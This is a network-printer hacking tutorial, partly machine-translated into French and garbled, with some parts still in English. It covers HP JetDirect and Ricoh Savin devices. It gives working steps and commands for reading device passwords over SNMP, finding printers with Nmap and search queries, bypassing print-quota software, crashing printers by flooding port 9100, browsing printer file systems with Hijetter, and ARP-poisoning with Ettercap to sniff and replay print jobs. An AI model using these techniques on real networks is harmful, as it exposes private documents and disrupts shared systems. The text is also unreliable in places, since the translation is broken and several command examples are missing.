Piratage des imprimantes réseau (principalement des imprimantes HP JetDirect, mais quelques informations sur Ricoh Savins) – Serveur d’impression

Il existe plusieurs TLA (trois lettres
Je vais utiliser cet article, donc je ferais mieux de les sortir du
chemin maintenant. PCL
représente le langage de contrôle de l’imprimante, développé par HP et devenu un
des protocoles d'imprimante les plus courants. Un autre langage de description de page vous
devrait être au courant de son PostScript
(PS) conçu par Adobe pour permettre l’impression de choses plus complexes à partir d’un
traceur / imprimante. PJL (Printer Job Language) est un
extension de PCL qui peut dire à une imprimante quoi faire, à partir de changer de périphérique
paramètres de transfert de fichiers. Il y a aussi trois
les principaux protocoles d’impression réseau à connaître. Voici une table
avec certaines des informations pertinentes sur chaque protocole:

Depuis que je me concentre sur
JetDirect dont je vais surtout parler et utiliser AppSocket / PDL-datastream, mais
de nombreux JetDirect pouvant également fonctionner avec IPP et LPD, et de nombreux autres
les imprimantes réseau utilisent également AppSocket, vous devez être conscient de l'existence de tous
Trois. Il existe également des imprimantes réseau utilisant IPX, Appletalk et SMB.
(certains Savins par exemple) protocoles pour communiquer. Je ne couvrirai pas IPX et
Appletalk en raison de mon manque d'expérience avec eux, peut-être quelqu'un d'autre qui
lit cette page soumettra quelques informations sur eux pour que je les poste (le crédit sera
donné). SMB je peux essayer de couvrir plus tard. Maintenant que les formalités sont terminées, commençons à jouer
avec des imprimantes.

Les images ci-dessus
sont d'une boîte JetDirect 170x externe. Remarquez l'image à droite. sur le
tout à droite, vous remarquerez un petit bouton intitulé "test". Pressage
ce bouton sur la plupart des boîtes JetDirect imprimera une liste de pages de diagnostic
statistiques et le paramètre IP pour la boîte JetDirect. Si votre imprimante a un
carte JetDirect interne, vous devrez négocier les menus pour savoir comment
imprimez cette page de diagnostic. Lorsque vous appuyez sur le bouton de test, l’imprimante doit
imprimer un
page ou deux qui répertorie des informations telles que le nom d'hôte, l'adresse MAC, l'adresse IP
Adresse, masque de sous-réseau, passerelle par défaut, révision du micrologiciel et statistiques générales. L'adresse IP / l'hôte
prénom
sera particulièrement utile si vous souhaitez contourner le logiciel de quota d'impression par
configuration de l'impression IP directe sur votre machine Windows ou Linux. Si vous n'avez pas
accès physique à la boîte JetDirect, vous pouvez toujours trouver son IP ou son nom d’hôte en
voir ce que son port est répertorié comme si cette imprimante réseau a été configurée sur un
Windows box auquel vous avez accès.

Comme vous pouvez le voir par le
Sur le graphique de gauche, le nom d’hôte de cette zone JetDirect est npib1002c.
Parfois, vous verrez un port répertorié comme quelque chose comme IP_192.168.1.102, où
évidemment 192.168.1.102 est l'IP de JetDirect. Vous pouvez très bien utiliser un hôte
nom ou une adresse IP de façon interchangeable sur votre réseau local, et si le nom d’hôte a une
nom de domaine qualifié, vous devriez pouvoir l’adresser depuis Internet
ainsi que.

Si vous n'avez pas
accès à une boîte JetDirect, ou si votre PC n’est pas connecté à une boîte, ne désespérez pas.
Dans les sections suivantes, je décrirai comment trouver ces imprimantes sur le réseau local / Internet.
en utilisant Nmap et JetAdmin.

J'ai appelé cette section des astuces d'imprimante stupide parce que tout
ces activités ne sont pas très techniques, elles illustrent bien la simplicité du
Protocole RAW / AppSock qui écoute sur le port 9100 / tcp sur JetDirects et la plupart des autres
imprimantes réseau. Essayez ceci, trouvez l’IP de vos imprimantes en utilisant le
Page Diagnostics puis navigation sur le Web pour:

http: // your-printers-ip: 9100

Le ": 9100" à la fin est là pour indiquer à votre navigateur de se connecter sur le port 9100 / tcp.
Lorsque vous essayez d’établir la connexion, vous remarquerez que le navigateur ne
ne va nulle part, c’est que ce qui tourne sur le port 9100 / tcp n’est pas un site Web
serveur. Cliquez sur le bouton d'arrêt de votre navigateur pour lui dire d'arrêter d'essayer de
connectez puis allez jeter un coup d’œil à l’imprimante. En fonction du navigateur que vous utilisez
vous devriez voir une impression ressemblant à l’une des suivantes:

Vous voyez, n'importe quoi
que l’imprimante voit arriver sur le port 9100 / tcp, elle essaie de lire comme une impression
emploi. Les deux textes que vous voyez ci-dessus sont des requêtes HTTP get pour le document racine de
le serveur. L’imprimante réseau ne comprend pas cela et essaie juste d’imprimer
la demande sous forme de texte. Une autre chose que vous pouvez essayer est telneting au port 9100 (nous
supposera que l'adresse IP de votre imprimante est 192.168.1.2), en tapant du texte et en voyant
il imprime:

Vous devriez maintenant voir un
imprimer qui a juste les mots "bonjour imprimante" sur elle. Le "^]" représente le
en appuyant sur la touche de navigation et le]crochet en même temps. Ce qui précède
exemple a été fait dans * nix, mais les mêmes commandes devraient fonctionner dans Windows. Garder à
Notez que vous ne pouvez pas voir tout ce que vous tapez (les parties en rouge) sauf si vous avez
écho local activé (qui semble être désactivé par défaut sous Windows).

La plupart du temps
Les gens n'activent même jamais les options de mot de passe de JetDirect, mais s'ils le font rapidement
trouver
qu'ils ne le font pas
toujours travailler de manière logique.

Si vous utilisez un
la boîte JetDirect la plus récente ressemble à l’une des suivantes:

680N (J6058A)
615N (J6057A)
610N (J4169A, J4167A)
380X (J6061A)
310X (J6038A, 250M (J6042A)
75X (J6035A

ou une imprimante HP avec une carte JetDirect interne, telle que:

HP LaserJet série 4100
HP LaserJet série 8150
HP LaserJet série 9000
HP Color LaserJet série 4550
HP Color LaserJet 4600
HP Designjet série 5000 ou HP Business Inkjet 2600

puis le mot de passe telnet et périphérique utilisé par l'interface Web
et le logiciel JetAdmin sont les mêmes. Si vous vous connectez via telnet, vous serez invité à
nom d'utilisateur et mot de passe. Les noms d'utilisateur "root", "admin", "administrateur" et "superviseur" sont
tous valables et équivalents.

Si vous utilisez un
ancienne boîte JetDirect comme l’une des suivantes:

600N (J3110A, J3111A, J3112A,
J3113A)
400N (J4100A, J4105A, J4106A)
300X
500X
170X (J3296A, J4101B, J3263A, J3264A, 3265A, J4102B, J3258B)

alors les choses sont plus confuses. Premièrement, si vous telnet dans vous allez
seulement être invité pour un mot de passe; aucun nom d'utilisateur n'est demandé. Si vous configurez un mot de passe pour le
service telnet, il peut ne pas s'agir du même mot de passe pour l'interface Web, et vice-versa.
vice versa. En d’autres termes, il y a deux mots de passe sur au moins quelques zones JetDirect,
un pour la connexion par telnet et un pour l'interface Web / le logiciel JetAdmin. Telnet
les mots de passe sont sensibles à la casse, mais pas les mots de passe Web / JetAdmin. Mots de passe Telnet
sont limités à 16 caractères, les mots de passe Web / JetAdmin à 12.
savoir, Hijetter (voir plus loin) peut indiquer que le mot de passe est désactivé même si les deux
les mots de passe sont définis, mais ce n'est pas grave, car il les contourne de toute façon.

L'interface Web et
JetAdmin utilise SNMP (Simple
Network Management Protocol) pour contrôler les boîtes JetDirect et exiger que vous
connaître le mot de passe, mais j'ai lu d'autres utilitaires de configuration SNMP tiers
sera juste
ignorer complètement le mot de passe et peut quand même connecter et contrôler JetDirect.
Cela pourrait être une bonne idée pour certains de changer leurs noms de communauté SNMP en
autre que le paramètre par défaut public / privé, mais même s’ils le faisaient, ils pourraient
toujours être reniflé hors du fil à moins qu'ils aient un JetDirect plus récent que
prend en charge SNMPv3 et SSL / TLS.

Si vous utilisez le
Logiciel de bureau JetAdmin pour Windows 2000, notez-le automatiquement
stocke les mots de passe dans le registre une fois que vous l'utilisez. Par exemple, si le MAC
l'adresse d'une boîte JetDirect était 001083A2C913, puis JetAdmin stockait le mot de passe
"mot de passe" dans Utilisateur Logiciel Hewlett-Packard HP
JetAdmin DeviceOptions 001083A2C913 dans une valeur appelée "Accès"
comme "50 00 41 00 53 00 53 00 57 00 4f 00 52 00 44,00,00,00".
Au cas où vous ne le remarqueriez pas, cette chaîne HEX est le mot de passe "mot de passe"
converti en majuscule, chaque lettre étant transformée en équivalent HEX, avec
un caractère nul entre chaque caractère de mot de passe, puis null complété.

Brute forçant ces
les mots de passe pourraient être une option puisque la connexion à de nombreuses imprimantes réseau n'est pas tout.
cela impliqué. Comme vous le savez déjà, telnet n’est pas chiffré, il est donc important de les renifler.
les mots de passe sont triviaux. Comme je l’ai découvert en détectant avec Ethereal, l’interface Web
sur les anciens Jetdirects (vraiment une applet Java) et JetAdmin utilisent SNMP pour configurer JetDirect
et transmettez également leur mot de passe en texte brut. Cherchez le mot de passe juste
avant la chaîne "= 108" dans les sauvegardes. Certains nouveaux Jetdirect ne font pas
ceci et peut utiliser SSL pour chiffrer la connexion.

Si vous définissez un mot de passe
sur une boîte JetDirect pendant que vous jouez avec elle et oubliez ce que c'est,
tout ce que vous avez à faire est une réinitialisation matérielle. Débranchez le cordon d’alimentation, maintenez la
bouton test / statut, et tout en maintenant le bouton enfoncé, reconnectez le courant.
Le mot de passe et tous les autres paramètres doivent maintenant être effacés.

Obtenir un mot de passe JetDirect à distance à l'aide de la vulnérabilité SNMP

Je me promenais
SecurityFocus.com à la recherche d'exploits JetDirect et je suis tombé sur un film:

http://www.securityfocus.com/bid/7001/exploit

Depuis le lien ci-dessus
est plutôt timide sur les détails, je vais vous montrer l'exploit pas à pas. Il paraît que
le mot de passe du périphérique pour de nombreux JetDirect est stocké sous forme de texte presque brut et
accessible via SNMP en utilisant le nom de communauté en lecture. La plupart des gens quittent leur SNMP
Le nom de la communauté est "public", mais même si cela a changé, il est probablement reniflant.
Essayez également "interne" en tant que nom de communauté car il s'agit de la communauté d'écriture par défaut
nom sur de nombreux JetDirect. Les rapports sont que sur certains JetDirect, même si vous
changer le nom de la communauté, "interne" fonctionnera toujours.
Avec les outils Net-SNMP, le
le mot de passe est facile à récupérer:

Remarquez l'hexagone
chaîne. En hex 50 = P, 41 = A, 53 = S, 53 = S, 57 = W, 4F = 0,52 = R, 44 = D, 3D ==, 31 = 1,30 = 0,38 = 8, 3B =;
En d'autres termes, "PASSWORD = 108;" ce qui signifie que le mot de passe est "PASSWORD". moi aussi
essayé après avoir changé le mot de passe pour newpassword, et de même "50 41 53 53
57 4F 52 44 3D 31 30 38 3B "est" NEWPASSWORD = 108; ".
avant le "= 108;" est le mot de passe. Pour ceux qui sont trop paresseux pour faire la
La conversion HEX en ASCII se fait par:

http://nickciske.com/tools/hex.php

Notez également que j'ai entré mes mots de passe
en minuscule, mais ils ont été stockés en majuscule. Ces mots de passe sont des cas
insensible. Certains des JetDirect vulnérables sont:

HP JetDirect J3263A
HP JetDirect J3113A
HP JetDirect J3111A

D'autres JetDirect peuvent également être
v erle, ça vaut donc la peine d’être testé. Je l'ai essayé avec mon Hewlett Packard HP
JetDirect 300X (J3263A) et l’installation du dernier firmware (H.08.49) semble
Résoudre ce problème, mais j'imagine qu'il y a encore beaucoup de JetDirect sans correctifs sur
Là. Certains serveurs d’impression, tels que le HP J3258A JetDirect 170X, ne disposent pas d’utilisateur.
micrologiciel pouvant être mis à niveau du tout, vous êtes donc coincé avec le micrologiciel qui vous a été envoyé
avec. Le seul moyen de remédier à cette vulnérabilité consiste à utiliser un nouveau JetDirect.

La plupart des boîtes JetDirect peuvent être configurées avec un
navigateur Web ou via une session telnet. Ci-dessous, vous verrez un écran du web
outil de configuration de base. Il suffit de taper l'adresse IP ou le nom d'hôte de la boîte JetDirect dans
la barre d'adresse de votre navigateur Web Java activé préféré et cela devrait fonctionner.

Voici un exemple de connexion à une boîte JetDirect avec un telnet
session, en ouvrant l'écran d'aide et en réinitialisant le nom d'hôte:

Hewlett-Packard propose un outil pratique pour contrôler les boîtes JetDirect:
JetAdmin. Actuellement, HP propose uniquement une version Web du logiciel, appelée
Web JetAdmin, avec des versions pour Windows et Linux.
Malheureusement, vous devez vous inscrire sur le site de HP pour l'obtenir, mais vous pouvez télécharger
sans vous inscrire à partir de ce site miroir:

Utiliser Nmap sous Linux (préférable) ou Windows permet de rechercher des JetDirect et d’autres
imprimantes réseau assez facile. Les commandes Nmap que je vais montrer dans cette
section sont très simples et pas très furtifs, vous voudrez peut-être consulter le Nmap
Page MAN ou un bon tutoriel Nmap pour plus d’idées. Vous pouvez utiliser une simple commande Nmap comme:

nmap -A 192.168.1. *

pour analyser la plage 192.168.1.1-255 pour les ports communs et faire un
Le système d'exploitation et la version détectent les systèmes trouvés. La sortie de la commande ci-dessus
ressemblerait à ceci:

Il y a un problème avec
la simple commande ci-dessus. Si vous
utilisez une version de Nmap antérieure à 3.90 sur un réseau
imprimantes, il créera des tâches d'impression avec le texte suivant:

GET / HTTP / 1.0
OPTIONS / HTTP / 1.0
OPTIONS / RTSP / 1.0

sur chacune des feuilles imprimées, gaspillant beaucoup de papier. Ce
arrive parce que Nmap recherche la détection de version sur le port 9100 / tcp, il envoie
certaines des demandes de sondage du fichier nmap-service-sondes pour savoir quel service
fonctionne sur le port 9100 / tcp. Comme la boîte JetDirect ne comprend pas quoi
il est envoyé, il imprime simplement les sondes et vous vous retrouvez avec un tas de
ordures imprimées. Le moyen le plus simple de résoudre ce problème consiste à effectuer une mise à niveau vers Nmap 3.90 ou
mieux, mais à part cela, il existe une solution de contournement. Une solution meilleure et plus rapide pourrait consister à ne rechercher que
ports d’imprimante réseau courants autres que 9100 (Remarque: vous pouvez vouloir désactiver -T
fou pour des raisons de furtivité / bande passante):

nmap -A -p 21,23,80,280,515,631 192.168.1. * -T fou

ou peut-être pas utiliser le -A (ce qui revient à faire un -sV -sO ensemble)
option du tout et juste utiliser -sO pour détecter le système d'exploitation en cours d'exécution, mais pas envoyer
sondes aux ports pour savoir si les versions de service sont en cours d'exécution.

Pendant que nous y sommes,
Il peut être intéressant d’exécuter également une analyse UDP sur le boîtier JetDirect.

Comme vous pouvez le voir, nous avons trouvé
pas mal de ports à examiner. Je vais passer en revue certaines des choses que vous pouvez faire avec
les dans un peu. En passant, vous remarquerez peut-être que le port 137 / udb de NMB est ouvert, ce qui
signifie que vous pourrez peut-être trouver des imprimantes sur le réseau local via le service de noms NetBIOS.

À propos, pour trouver Ricoh Savins sur
Sur le réseau, vous pouvez utiliser une commande Nmap qui ressemble à ceci:

Notez que le Ricoh
Savins ont beaucoup des mêmes ports ouverts que les HP JetDirect, mais que le système d'exploitation est
détecté comme étant NetBSD (il fonctionnera même sur votre grille-pain).

Étant donné que de nombreuses imprimantes réseau répondent au protocole SNMP
Un autre excellent moyen de les trouver consiste à utiliser un outil d'analyse de service SNMP. Ricoh met un
bon outil pour trouver et configurer de nombreuses imprimantes réseau appelé SmartDeviceMonitor. SmartDeviceMonitor
semble manquer certaines imprimantes réseau qui ne sont pas Savins, mais si vous utilisez Richo
Les imprimantes Savin Aficio sur votre réseau sont un excellent outil pour localiser et interroger
leur.

Parfois pour
Les administrateurs de services mettront des liens vers les interfaces Web de leurs imprimantes
Site intranet afin qu’ils puissent facilement les administrer ou extraire les documents stockés. Bien,
Parfois, un intranet n'est pas vraiment un intranet mais est accessible via le
L'Internet. Google is a great way to find these printers. Here are a few search
strings that may be of interest:

Ricoh Savins (Since these printer frequently store
documents where to can be downloaded this can be a real killer for security)

intitle:"web image monitor"

"/web/user/en/websys/webArch/mainFrame.cgi"

While I'm on the
topic of Nmap and JetDirect boxes, they make great bouncers for stealth Idle
scans (also know as Zombie scans) since their IPIDs are incremental. Fondamentalement
what happen is the Nmap scan is bounced off of the JetDirect box and any logs on the
target will show the IP of the JetDirect box as being the attacker. There are a
few problems with these kinds of scans, the biggest being that they are VERY
slow. For more details on  Idle scans  see the following URL:

Setting up a
direct IP printer can be useful from time to time; here are a few reasons why
you might want to set up one up:

1. Your main print server is unreliable.
2. Sometimes cutting out the middle man make a print job work when normally it
would not. Some PDFs used to give me fits when I used a Window 2000 server to
host print shares, but printing directly to the IP printer worked like a charm.

3. To bypass access rights to a printer or to get around print tracking
software like Pharos Uniprint or Equitrac.

Rather then waste
space on how to set up direct IP printing in Windows I'll point you to
Microsoft's howto:

I'm rather
surprised with the amount of E-mail, Net Message and Fax spam that know one
seems to have tried Printer Spam. First, the attacker would need to have
something to iterate though printers. I wrote a quick tool for Linux and Windows
call IPIterator that does just this:

While this is not
directly related to the article's main topic I thought that some of you would be
interested in knowing about a vulnerability with the Pharos Uniprint system. Il
ressemble à
Pharos Uniprint saves the last print jobs sent to a printer into C:Program
FilesPharosTempPORT*.PRN as a simple PCL print job which is readable by
everyone on the Windows box by default. With a quick NetCat command (seen later
in this article in the sniffing and replay section) or an FTP of the file to a JetDirect box it's easy to see what others
have been printing out on that Windows workstation.  Not very secure huh? 
It seems that Pharos did fix this in later versions, as Edward Burhenn stated in
his email to me:

As should be obvious
by now for those that have been paying attention, it's pretty trivial to cause a DoS (Denial of Service) attack with a JetDirect box that's not password
protected. A deviant user could just use the telnet or web interface to set the
IP of the JetDirect to the same IP as the gateway –  instant routing confusion. Un autre
option for network mayhem would be to set the host name of the JetDirect box to that of
another box on the network. This would mess a few things up if the facility uses
dynamic DNS for host names. Also notice form the UDP port scan show earlier that
the JetDirect box is running the NetBIOS naming service, so changing the host
name on a Windows network could cause name resolution problems.

As for DoSing the printer, if someone wanted to be a dick they could just hop
onto their
*nix box and cat their hard drive to the printer, causing a print job the size of
the local hard drive:

cat /dev/hda|netcat -q 0
192.168.1.2 9100

Much the same thing could be accomplished by FTPing your swap
file to a JetDirect box that accepts FTP print jobs.

Another thing that
could be done is to upload a corrupted firmware to the JetDirect box. This can
be done by obtaining the HP Download Manager from:

This is an old hack (1997) and does not
    accomplish much, but it is fun! Silicosis of L0pht
    (sili@l0pht.com) wrote the original
    exploit code for *nix  systems and someone else ported it to NT/2000/XP
    based systems. Although it's been out there for a long time, it still works
    on every HP printer/JetDirect box I have seen. What the HP display hack
    allows you to do is set the text that displays on the little LCD panel of an
    HP printer. It accomplishes this over the network by sending packets to a
    JetDirect box hooked to the printer (or built into it).

The first thing you need to do is find
    out the IP or hostname of the JetDirect box that services the printer. Vous
    can do this in one of at least three ways. The first way is by hitting the
    little test button on the JetDirect box that's connected to the printer. Si
    the JetDirect card is built in you may have to go through the menus and
    choose "Print Configuration". Another way is to go into your "Printers and
    Faxs" settings, right click and bring up the properties of the printer in
    question, and look under the Ports tab for the hostname (npi******). Une fois que
    you have this information it's easy to run Silicosis ' little hack.

To run it from Windows just use the
    following syntax: hpnt Hostname Message
Windows Example:

Si tu veux
    run it from Linux download the source code at the bottom of this section and
    compile it using gcc. The syntax is the same as the Windows version. Below
    is an example of how to compile and run it:

A few ideas for messages: "Hey Baby", "X was Here",
      "I see You", "Redrum", "Kill". Enjoy. If you like you can
download Silicosis hack from one of these links:

Unix Source

Windows Source

Windows Binary

I'm working on my own
GUI version with extra features; its web page can be found here:

Hijetter seems to be the Swiss
army knife of HP JetDirect hacking. It can control a JetDirect box with PJL
commands, and works even if a password is set (at least on my HP JetDirect
300X).You can download the binary and the source code
for this app from:

1. After you have connected to the JetDirect box click the LCD Display
icon.

2. Type in the message you want the printers LCD to display.

3. If you check the "Failure" radio button the printer will stop printing
until someone hits the ok/continue/online button on the printer, or it's
reset.

4. Click the confirm button

and your message should now appear on the printers LCD.

1. After you have connected to the JetDirect box click the settings icon.

2. Find the environmental variable you want to change and type in the value you want
to set it to, keeping in mind the limitations listed in the "Info" panel.

3. Use the assign button

to set your change. An M should appear next to the variable you changed.

4. Click the confirm button

and you're done.

1. After you have connected to the JetDirect box click the File System icon.

2. Use the arrows to transfer files to and from your client to the
JetDirect box. Keep in mind that you can only transfer one file at a time with
Hijetter.

3. The New Folder
and Delete icons
can be used for their obvious functions.

4. Click the confirm button

and you're done.

Look around the file system and
download any files that looks interesting. Most of them don't have obvious file
extensions so open them up in a text editor and look at the headers to try
and figure out what they are. Here are a few of the things I've found by
searching around this way:

Also notice that the Hewlett-Packard
LaserJet 4100 MFP we connected to has a 20Gig hard drive, which makes for a
great place to hide and serve large files. I've noticed on the MFP a file can be
uploaded to:

/webserver/home/

and can be accessed from the printers web interface at:

http://192.168.1.4/hp/device/

For example, if you used Hijetter to upload "naughtylinuxgirls.avi" to
"/webserver/home/" it can be accessed from the web with the URL:

http://192.168.1.4/hp/device/naughtylinuxgirls.avi

Feel free to put your homepage on a
printer. 🙂

If you're a *nix or Window command line boy, don't despair. The same folks
from Phenoelit have provided PFT, a command line utility that can do many of the
same things as Hijetter. It can be downloaded and installed with these commands:

Here is an example of what it
looks like on the command line after you bring up the help page; look at all of
the options:

PFT also has some limited scripting ability by piping in commands from a text
file as this example shows:

Since Phenoelit  provides the
source code it could be an interesting project to write new automated tools for
extracting information from remote JetDirect boxes.

One of the few way
that HP gives you to lock down a printer is IP ACLs (Access Control Lists).
Other network printer manufactures offer similar functionality. While the syntax
may differ a little form JetDirect to JetDirect the basics are the same. Sur
newer JetDirects you can use the web interface to restrict what IPs can connect
to the printer (normally you just want the CUPS or Windows print server to
connect) but on most all of them you can use the Telnet interface to restrict
what IPs can connect. This log should give you an idea of how the "acl allow: ip"
command is used:

I'm mostly putting this here because
of the Ricoh Savins I've played with, but it's good advice for HP printers
aussi. Look for Stored Documents via the web interface on the printers you
find; many times users will save print jobs and faxes where the can be accessed
from the web without even realizing it. I've found quite a few things this way in
the past while performing audits.

I thought some of you might be
interested in writing you own scripts to change the printer display, or other
tasks evolving PJL. First, read some of the PJL references linked in the
reference section, then play around with telneting in an issuing the PJL
commands directly. You will notice that there are quite a few that can be used
to query the status of the printer:

I decided to use Perl for my examples since its easy to use,
multiplatform and pretty easy to do Sockets with. Most *nix systems should have
Perl already, if you use Windows download and install Activestate's ActivePerl
from here:

Matthew Hinton (info
[at] fireshadow.net) sent me some details on fixing a broken hard drive in an HP
4100 MFP with Ghost, could be useful to quite a few of you in your printer is
out of warranty:

How often do folk
print things and think as long as no one gets hold of the hard copy there's
no security risk? As it turns out, sniffing print jobs is pretty easy if you can
get on the same LAN segment as the printer or print server. Since the print jobs
are not encrypted sniffing and reprinting them to your own printer is
comparatively a breeze if you know how. This example shows how to sniff between
a Windows 2003 base print server and a JetDirect or Ricoh Savin based network
printer that uses AppSocket (port 9100/tcp) for communications, but the principles should apply to other setups as well.

1. First we have to pull off a MitM (Man in the Middle) attack
by ARP poisoning the JetDirect box and the Windows print server and saving the
packets to a Pcap file. I'll use Ettercap on a Linux box to do this, but other
apps may work as well. To pull it off I will use the following Ettercap command:

ettercap -T -q -w print.dump -M ARP /192.168.1.2/ //

where 192.168.1.2 is the IP of my network printer. Note that
this will cover all of your bases, but can cause one hell of an ARP storm since
Ettercap has to ARP poison every host on the subnet. In some cases it might be
better (and faster) to just ARP poison between two host you know the traffic
will be going though. Here is an example:

ettercap -T -q -w print.dump -M ARP /192.168.1.2/
/192.168.22.47/

where 192.168.1.2 is the IP of the network printer and
192.168.22.47 is the ip of the Window/*nix print server or PC sending the print
job. Hit the "q" key at any time to stop the ARP poisoning and sniffing.

2. Now that we have our Pcap (also sometimes called a libpcap or
tcpdump file) we have to open it up in Ethereal. Just use the File->Open menu
and point it to the print.dump file made by Ettercap.

3. Once print.dump has been opened in Ethereal we need to filter
il. Enter the following filter and hit Apply:

tcp.flags.syn == 1 && tcp.dstport == 9100

4. As you see from the screen shot above the filter got rid
of a lot of the extraneous data. These four packets represent two print jobs, or
at least the beginnings of them. Packets number 158 and 159 are part of the same
print job. Packets number 510 and 511 are part the 2nd print job. What we want
to do now is right click every other packet, starting with the first, and
choose "Follow TCP Stream".

5. Once you have chosen "Follow TCP Stream" you should see a window something
like the one above. Set the drop down box to only show the traffic
destined to the network printer as shown above. Set the data type to RAW and then
click the "Save As" button and call the output file something like "test1.job".

6. Repeat steps 4 and 5 for every other packet to get all of the print jobs
captured.

7. At this point we could open up test "test1.job" in a text editor, and if
c'est un
PostScript file, remove every line before:

%!PS-Adobe-3.0

and after:

%%EOF

to create a .PS file (PostScript) that could be opened up in GhostView on a *nix
box. You might be able to do something similar with a PCL based print job, but I
have not figured out what parts to remove yet. As it stands we can leave
"test1.job" as it is, whether it's PCL or PostScript, and send it to the printer
by replaying it with NetCat to a network printer we control. The command is
quite simple:

cat test1.job|netcat -q 0 192.168.1.2 9100

where "test1.job" is the sniffed print job we want to replay
and 192.168.1.2 is a network printer that we control. If the Netcat command
seems too complex you could also just use an FTP client and FTP the captured
print jobs to a JetDirect enabled printer (assuming FTP is enabled on the
JetDirect box).

All this seems a bit
complicated I know, so I'm thinking of asking the
Cain team to add this functionality to
their app to make it easier.

Many of the above
attacks are only possible because people don't enable passwords on their network
printers. However, even if passwords are enabled they could still be sniffed
pretty easily since most network printers use simple telnet or a web interface
with out SSL to configure the system. Both telnet and http (with out SSL)
passwords can easily be sniffed with packages like Ettercap, Cain or Dsniff.
Some newer network printers, such as the HP Jetdirect en3700 (J7942A), can use
SSL with their web interface (albeit with a self signed certificate) and the
interface seems to be more that just a Java applet for using SNMP to control the
Jetdirect. This is a much more secure option than the older Jetdirects that used
unencrypted HTTP and SNMP v1/v2.

There's still a lot more out there I
need to research and play with when it comes to hacking network printers. Comme
with most of my projects this is a work in progress so feel free to email me your
ideas. A few interesting topics might be:

Media:

Here's a collection of videos and other media on Network
Printer Hacking you might be interest in: